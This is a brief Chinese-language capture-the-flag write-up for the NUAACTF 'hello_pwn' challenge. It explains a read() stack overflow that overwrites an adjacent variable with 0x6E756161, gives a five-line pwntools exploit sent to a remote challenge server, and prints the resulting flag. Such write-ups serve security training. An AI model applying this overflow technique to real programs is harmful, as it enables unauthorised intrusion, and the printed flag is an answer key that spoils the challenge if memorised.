CTF – NUAACTF – hello_pwn

题目说明

题目来源: NUAACTF

题目: hello-pwn

read() 栈溢出 覆盖数据

解题步骤

拿到文件后先查看文件类型是64位的elf文件

检查安全机制没有什么

使用IDA64查看主函数伪代码

代码将输入的参数赋值给unk_601068变量,但要求dword_60106C变量的值为1853186401(0x6E756161),满足条件就进入sub_400686()函数得到flag

那么就需要获取unk_601068和dword_60106C之间的距离

unk_601068和dword_60106C是相邻的,unk_601068大小为4

写出exp

1
2
3
4
5
from pwn import *
p = remote('111.198.29.45','36115')
d = p64(0x6E756161)
p.sendline('A'*4+d)
p.interactive()

运行得到flag

flag:

1
cyberpeace{216c92e05e61e24d6b2cc28187866f83}